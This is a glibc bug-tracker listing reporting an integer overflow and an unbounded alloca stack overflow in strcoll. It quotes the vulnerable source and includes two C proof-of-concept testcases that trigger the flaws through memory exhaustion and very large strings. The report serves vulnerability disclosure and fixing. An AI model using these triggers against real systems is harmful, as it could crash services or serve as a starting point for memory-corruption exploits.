|
Sources Bugzilla – Full Text Bug Listing |
| Summary: | strcoll integer / buffer overflow | ||
|---|---|---|---|
| Product: | glibc | Reporter: | Joseph Myers <jsm28> |
| Component: | libc | Assignee: | Not yet assigned to anyone <unassigned> |
| Status: | NEW --- | ||
| Severity: | normal | CC: | bugdal, drepper.fsp, ppluzhnikov, shaun.colley |
| Priority: | P2 | ||
| Version: | 2.16 | ||
| Target Milestone: | --- | ||
| Host: | Target: | ||
| Build: | Last reconfirmed: | ||
It looks like the same issue is also present in strxfrm (not tested). *** Bug 14552 has been marked as a duplicate of this bug. *** Although this bug report regards the serious security vuln in strcoll, even if the overflow issues are fixed, a serious bug will remain. The strcoll interface does not permit failure. It must yield a consistent ordering. If it can fail sporadically from memory exhaustion, it can cause other interfaces using it (such as qsort) which rely on it to be a consistent ordering to invoke undefined behavior. While an immediate security fix is needed for the issues reported here, the implementation of strcoll calls for drastic redesign to be completely free of malloc or any other operation that could fail. I've detailed another strcoll() security vulnerability below, which is an unbounded alloca() call.
alloca() stack overflow
If the malloc() call in alloca() fails (i.e. OOM conditions), strcoll() will failsafe to alloca() for allocating its memory, which could result in unbounded alloca() calls and exploitable
conditions if the stack pointer is shifted over the guard area and into the
heap. See vulnerable code below.
if (idx1arr == NULL)
/* No memory. Well, go with the stack then.
XXX Once this implementation is stable we will handle this
differently. Instead of precomputing the indeces we will
do this in time. This means, though, that this happens for
every pass again. */
goto try_stack;
use_malloc = 1;
}
else
{
try_stack:
idx1arr = (int32_t *) alloca (s1len * sizeof (int32_t));
idx2arr = (int32_t *) alloca (s2len * sizeof (int32_t));
rule1arr = (unsigned char *) alloca (s1len);
rule2arr = (unsigned char *) alloca (s2len);
[ ... ]
Here's my testcase / proof-of-concept for the issue.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <locale.h>
#define LEN 500000
int main() {
char *ptr1 = malloc(LEN + 1);
char *ptr2 = malloc(LEN + 1);
char *wasted = NULL;
int i = 0, ret = 0;
if(!ptr1 || !ptr2) {
printf("memory allocation failed\n");
return -1;
}
memset(ptr1, 0x61, LEN);
memset(ptr2, 0x61, LEN);
ptr1[LEN] = 0;
ptr2[LEN] = 0;
printf("strings allocated\n");
char *ptr = setlocale(LC_ALL, "en_US.UTF-8");
if(!ptr) {
printf("error setting locale\n");
return -1;
}
/* malloc() big chunks until we're out of memory */
do {
wasted = malloc(1000000);
printf("%p\n", wasted);
i++;
} while(wasted);
ret = strcoll(ptr1, ptr2);
if(!ret) {
printf("strings were lexicographically identical\n");
}
else {
printf("strings were different\n");
}
return 0;
}
Cheers,
Shaun
The unbounded alloca issue also appears to be present in strxfrm. |
The code in string/strcoll_l.c that computes a memory allocation size as (s1len + s2len) * (sizeof (int32_t) + 1) fails to allow for possible integer overflow in this computation. On a 32-bit host this can cause too-small allocations and consequent buffer overflow if the strings total more than 0.8GB. Testcase: #include <locale.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define SIZE 429496730 int main (void) { char *p = malloc (1 + SIZE); if (setlocale (LC_COLLATE, "en_GB.UTF-8") == NULL) { puts ("setlocale failed, cannot test for overflow"); return 0; } if (p == NULL) { puts ("malloc failed, cannot test for overflow"); return 0; } memset (p, 'x', SIZE); p[SIZE] = 0; printf ("%d\n", strcoll (p, p)); return 0; }